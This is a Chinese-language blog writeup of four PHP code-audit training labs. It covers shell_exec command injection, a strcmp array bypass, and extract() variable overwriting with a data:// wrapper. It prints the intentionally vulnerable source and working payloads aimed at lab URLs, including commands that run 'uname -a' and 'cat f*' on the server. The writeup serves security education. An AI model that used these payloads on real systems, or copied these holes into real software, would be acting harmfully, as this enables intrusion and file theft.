这是看雪web版主写的一个代码审计系列。感觉写的挺好的,可惜后来不更新了。这里简单贴一下writeup。

Lab1 calc shell_exec命令执行 # 注释管道

<?php 
$str="";
if(!empty($_GET)){
    $str=$_GET["calc"];
}
?>
<form action="./index.php">
input: <input type="text" name="calc" value="<?php echo $str;?>">
  <input type="submit" value="Submit">
</form>

<?php
    echo "result:".shell_exec("echo $str | bc");
?>
</center>



<?php
show_source(__FILE__);

命令执行。$str可控,传入shell_exec执行。

payload:

http://139.224.220.67:30005/index.php?calc=hello; uname -a %23

result:

hello Linux 65fcebbb4141 4.4.0-139-generic #165-Ubuntu SMP Wed Oct 24 10:58:50 UTC 2018 x86_64 Linux 

Lab2 calc 简单过滤 echo 123 给管道

# http://139.224.220.67:30008/
<?php 
$str="";
if(!empty($_GET)){
    $str=$_GET["calc"];
    if(strpos($str,"#")!==false)
        die;
    if(strpos($str,"`")!==false)
        die;
    if(strpos($str,"flag")!==false)
        die;
}
?>
<form action="./index.php">
input: <input type="text" name="calc" value="<?php echo $str;?>">
  <input type="submit" value="Submit">
</form>

<?php
    echo "result:".shell_exec("echo $str | bc");
?>
</center>


<?php
show_source(__FILE__);

增加了strpos计算字符串中的位置,如果出现# ` flag就调用die退出。使用 echo 1 | bc 传递给管道,保证前面的命令还可以输出。

payload:

http://139.224.220.67:30008/index.php?calc=hello; cat f* ; echo 1
# hello; cat f* ; echo 1

result:
image-20190126162958238

Lab3 strcmp 数组和字符串比较返回0

<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
    if (strcmp($_GET['a'], $flag) == 0)
        die('Flag: '.$flag);
    else
        print 'No';
}
?>

php 只有字符串和字符串比较才是靠谱的,否则返回未知。http://php.net/manual/zh/function.strcmp.php

If you rely on strcmp for safe string comparisons, both parameters must be strings, the result is otherwise extremely unpredictable.

payload 直接传一个数组过去,当php将一个数组变量和一个字符串进行比较时会意外地返回0,即相等。payload:

http://139.224.220.67:23900/dmsj/level0/?a[0]=1

补充:

strcmp("5", 5) => 0
strcmp("15", 0xf) => 0
strcmp(61529519452809720693702583126814, 61529519452809720000000000000000) => 0
strcmp(NULL, false) => 0
strcmp(NULL, "") => 0
strcmp(NULL, 0) => -1
strcmp(false, -1) => -2
strcmp("15", NULL) => 2
strcmp(NULL, "foo") => -3
strcmp("foo", NULL) => 3
strcmp("foo", false) => 3
strcmp("foo", 0) => 1
strcmp("foo", 5) => 1
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning

Lab4 extract变量覆盖 伪协议 data://text/plain,1

src:

<?php
$flag='xxx';
extract($_GET);
if(isset($sixstars)) {
    $content=trim(file_get_contents($flag));
    if ($sixstars==$content) {
        echo 'flag{xxx}';
    } else {
        echo 'Oh.no';
    }
}
?>

先解释一下函数:

extact
    Import variables into the current symbol table from an array。从$_GET数组中获取变量,放到当前的命名空间中。覆盖flag变量。

file_get_contents
    从文件获获取字符串。Reads entire file into a string。当然也可以从伪协议获取变量。

trim 
    Strip whitespace (or other characters) from the beginning and end of a string/

extract变量覆盖修改flag为伪协议,从而让file_gets_contents返回可控字符串。

payload:

http://139.224.220.67:23900/dmsj/level2/?sixstars=1&flag=data://text/plain,1

旧的payload 利用ifconfig.me变量测试
http://139.224.220.67:23900/dmsj/level2/?sixstars='139.224.220.67'&flag='http://www.ifconfig.me' 

result:
image-20190126172159737

参考

https://bbs.pediy.com/thread-248972.htm
https://bbs.pediy.com/thread-249079.htm
https://bbs.pediy.com/thread-249088.htm
https://bbs.pediy.com/thread-249143.htm